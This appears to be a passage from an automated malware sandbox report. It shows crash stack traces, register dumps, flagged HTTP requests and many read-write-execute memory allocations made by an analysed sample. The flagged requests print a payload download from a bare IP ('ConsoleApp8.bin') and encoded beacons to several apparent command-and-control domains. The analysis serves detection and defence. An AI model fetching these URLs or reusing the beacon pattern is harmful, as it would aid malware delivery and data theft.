0xa2e50f
0x9201293
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737
mscorlib+0x2d3711 @ 0x72143711
mscorlib+0x308f2d @ 0x72178f2d
0xa23d1e
0xa21a97
0xa219ae
system+0x19c522 @ 0x70a6c522
system+0x19e920 @ 0x70a6e920
system+0x19e803 @ 0x70a6e803
0xa217c9
system+0x1f9799 @ 0x70ac9799
system+0x1f92c8 @ 0x70ac92c8
system+0x1eca74 @ 0x70abca74
system+0x1ec868 @ 0x70abc868
system+0x1f82b8 @ 0x70ac82b8
system+0x1ee54d @ 0x70abe54d
system+0x1f70ea @ 0x70ac70ea
system+0x1e56c0 @ 0x70ab56c0
system+0x1f8215 @ 0x70ac8215
system+0x1f6f75 @ 0x70ac6f75
system+0x1ee251 @ 0x70abe251
system+0x1ee229 @ 0x70abe229
system+0x1ee170 @ 0x70abe170
0x54a08e
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x76be62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x76be6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x76be6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x76be6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7765011a
system+0x1ebc85 @ 0x70abbc85
system+0x1f683b @ 0x70ac683b
system+0x1a5e44 @ 0x70a75e44
system+0x1fd8a0 @ 0x70acd8a0
system+0x1fd792 @ 0x70acd792
system+0x1a14bd @ 0x70a714bd
0xa20105

exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10
exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479
exception.instruction: mov dword ptr [ecx + edx*4], eax
exception.module: KERNEL32.dll
exception.exception_code: 0xc0000005
exception.offset: 242809
exception.address: 0x7670b479
registers.esp: 2214412
registers.edi: 1980555208
registers.eax: 16777216
registers.ebp: 2214616
registers.edx: 0
registers.ebx: 0
registers.esi: 1
registers.ecx: 0

__exception__

Dec. 2, 2021, 1:38 p.m.

stacktrace:

K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e
0x96f1085
0x96f0ffa
0x920db58
0x920d1a3
0x92082f2
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737
mscorlib+0x2d3711 @ 0x72143711
mscorlib+0x308f2d @ 0x72178f2d
0x920220c
0x9201ed9
0x9201341
0xa234425
0x96e3fb3
0x96e36e5
0x96e358b
0x96e34c3
0x96e213d
0x96e15e2
0xa2e661
0xa2e50f
0x9201293
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737
mscorlib+0x2d3711 @ 0x72143711
mscorlib+0x308f2d @ 0x72178f2d
0xa23d1e
0xa21a97
0xa219ae
system+0x19c522 @ 0x70a6c522
system+0x19e920 @ 0x70a6e920
system+0x19e803 @ 0x70a6e803
0xa217c9
system+0x1f9799 @ 0x70ac9799
system+0x1f92c8 @ 0x70ac92c8
system+0x1eca74 @ 0x70abca74
system+0x1ec868 @ 0x70abc868
system+0x1f82b8 @ 0x70ac82b8
system+0x1ee54d @ 0x70abe54d
system+0x1f70ea @ 0x70ac70ea
system+0x1e56c0 @ 0x70ab56c0
system+0x1f8215 @ 0x70ac8215
system+0x1f6f75 @ 0x70ac6f75
system+0x1ee251 @ 0x70abe251
system+0x1ee229 @ 0x70abe229
system+0x1ee170 @ 0x70abe170
0x54a08e
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x76be62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x76be6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x76be6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x76be6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7765011a
system+0x1ebc85 @ 0x70abbc85
system+0x1f683b @ 0x70ac683b
system+0x1a5e44 @ 0x70a75e44
system+0x1fd8a0 @ 0x70acd8a0
system+0x1fd792 @ 0x70acd792
system+0x1a14bd @ 0x70a714bd
0xa20105

exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10
exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479
exception.instruction: mov dword ptr [ecx + edx*4], eax
exception.module: KERNEL32.dll
exception.exception_code: 0xc0000005
exception.offset: 242809
exception.address: 0x7670b479
registers.esp: 2214412
registers.edi: 1980555208
registers.eax: 4194304
registers.ebp: 2214616
registers.edx: 0
registers.ebx: 0
registers.esi: 1
registers.ecx: 0

__exception__

Dec. 2, 2021, 1:38 p.m.

stacktrace:

K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e
0x96f1085
0x96f0ffa
0x920db58
0x920d1a3
0x92082f2
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737
mscorlib+0x2d3711 @ 0x72143711
mscorlib+0x308f2d @ 0x72178f2d
0x920220c
0x9201ed9
0x9201341
0xa234425
0x96e3fb3
0x96e36e5
0x96e358b
0x96e34c3
0x96e213d
0x96e15e2
0xa2e661
0xa2e50f
0x9201293
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737
mscorlib+0x2d3711 @ 0x72143711
mscorlib+0x308f2d @ 0x72178f2d
0xa23d1e
0xa21a97
0xa219ae
system+0x19c522 @ 0x70a6c522
system+0x19e920 @ 0x70a6e920
system+0x19e803 @ 0x70a6e803
0xa217c9
system+0x1f9799 @ 0x70ac9799
system+0x1f92c8 @ 0x70ac92c8
system+0x1eca74 @ 0x70abca74
system+0x1ec868 @ 0x70abc868
system+0x1f82b8 @ 0x70ac82b8
system+0x1ee54d @ 0x70abe54d
system+0x1f70ea @ 0x70ac70ea
system+0x1e56c0 @ 0x70ab56c0
system+0x1f8215 @ 0x70ac8215
system+0x1f6f75 @ 0x70ac6f75
system+0x1ee251 @ 0x70abe251
system+0x1ee229 @ 0x70abe229
system+0x1ee170 @ 0x70abe170
0x54a08e
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x76be62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x76be6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x76be6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x76be6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7765011a
system+0x1ebc85 @ 0x70abbc85
system+0x1f683b @ 0x70ac683b
system+0x1a5e44 @ 0x70a75e44
system+0x1fd8a0 @ 0x70acd8a0
system+0x1fd792 @ 0x70acd792
system+0x1a14bd @ 0x70a714bd
0xa20105

exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10
exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479
exception.instruction: mov dword ptr [ecx + edx*4], eax
exception.module: KERNEL32.dll
exception.exception_code: 0xc0000005
exception.offset: 242809
exception.address: 0x7670b479
registers.esp: 2214412
registers.edi: 1980555208
registers.eax: 13107200
registers.ebp: 2214616
registers.edx: 0
registers.ebx: 0
registers.esi: 1
registers.ecx: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (9 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.230.162.254/ams/ConsoleApp8.bin
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.rvrentalsnear.com/se5g/?FrJX9P9=LEu13JWJxkUhcZfk8SrglGyAY/R8Am/uM5BdIet6HmIeWia9qDo+1kEwWq5GSRfF/reoD4w+&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.equatorkit.club/se5g/?FrJX9P9=42cbPT6bMYht9BeKP58C9icOQEztZmyWBGYrWZ4x+MzrLS6Ahmejm5Xxj+ElqroJvO1nu91a&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.6532nixonav.info/se5g/?FrJX9P9=3NEPJrVHShrbz+wEildyCdp4bX7uGnOMOo+7vNXUu9ePVlLkCNoaWdjUtzQ0WMzw/RLhF2yd&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.helltea.xyz/se5g/?FrJX9P9=NJlv6P57h6xDcQ2JaFok1dQ5TNTZkJi8TI1QWxQqCVzyce+lSV4T09G02GlmijbwM2eY+A19&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.vantagenowllc.com/se5g/?FrJX9P9=jdXEzhimOnSacXUdGxTYvdJcV61jKW0d0K+peZrLZB1Sd+zR1QfcDPrffrB+k3Lt9GaGVKnv&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.mmasafaris.com/se5g/?FrJX9P9=1Ctaq5FgqzbEiE7Pl42oCKArEl4Wt5gyxE1uYiWthYfNIZYeqKUHmqe6xjleuZ1OkvlCp47o&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.rayuramen.com/se5g/?FrJX9P9=whcI31L0MoAEI++0t3jXyE3nnNQAM/cYbuyfe44aGV/9H6pvHcWSD2B4iIKYk7fns6EGCiY+&Vnt4_=-Z1l70lHPdgDeba
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.digi-lime.com/se5g/?FrJX9P9=ffJkN43k3dYoD4UbWW+NNmKuL73IbAzyyUqZeTutIN0FTw6z6MdxAIJVMyMmKKe/SXXl1C0J&Vnt4_=-Z1l70lHPdgDeba

Performs some HTTP requests (9 events)

request	GET http://185.230.162.254/ams/ConsoleApp8.bin
request	GET http://www.rvrentalsnear.com/se5g/?FrJX9P9=LEu13JWJxkUhcZfk8SrglGyAY/R8Am/uM5BdIet6HmIeWia9qDo+1kEwWq5GSRfF/reoD4w+&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.equatorkit.club/se5g/?FrJX9P9=42cbPT6bMYht9BeKP58C9icOQEztZmyWBGYrWZ4x+MzrLS6Ahmejm5Xxj+ElqroJvO1nu91a&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.6532nixonav.info/se5g/?FrJX9P9=3NEPJrVHShrbz+wEildyCdp4bX7uGnOMOo+7vNXUu9ePVlLkCNoaWdjUtzQ0WMzw/RLhF2yd&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.helltea.xyz/se5g/?FrJX9P9=NJlv6P57h6xDcQ2JaFok1dQ5TNTZkJi8TI1QWxQqCVzyce+lSV4T09G02GlmijbwM2eY+A19&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.vantagenowllc.com/se5g/?FrJX9P9=jdXEzhimOnSacXUdGxTYvdJcV61jKW0d0K+peZrLZB1Sd+zR1QfcDPrffrB+k3Lt9GaGVKnv&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.mmasafaris.com/se5g/?FrJX9P9=1Ctaq5FgqzbEiE7Pl42oCKArEl4Wt5gyxE1uYiWthYfNIZYeqKUHmqe6xjleuZ1OkvlCp47o&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.rayuramen.com/se5g/?FrJX9P9=whcI31L0MoAEI++0t3jXyE3nnNQAM/cYbuyfe44aGV/9H6pvHcWSD2B4iIKYk7fns6EGCiY+&Vnt4_=-Z1l70lHPdgDeba
request	GET http://www.digi-lime.com/se5g/?FrJX9P9=ffJkN43k3dYoD4UbWW+NNmKuL73IbAzyyUqZeTutIN0FTw6z6MdxAIJVMyMmKKe/SXXl1C0J&Vnt4_=-Z1l70lHPdgDeba

Allocates read-write-execute memory (usually to unpack itself) (50 out of 319 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00500000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00532000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00565000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0056b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00567000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00557000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00556000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73552000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 28672 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a25000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a2c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a2d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x096e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x096e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x091ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x091e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x096e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x096e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0a230000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 61440 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0a231000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x091f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09200000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x091e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09201000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09202000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09203000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09204000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09205000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09206000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09207000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x091e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:37 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09208000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 2, 2021, 1:38 p.m.	process_identifier: 2776 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
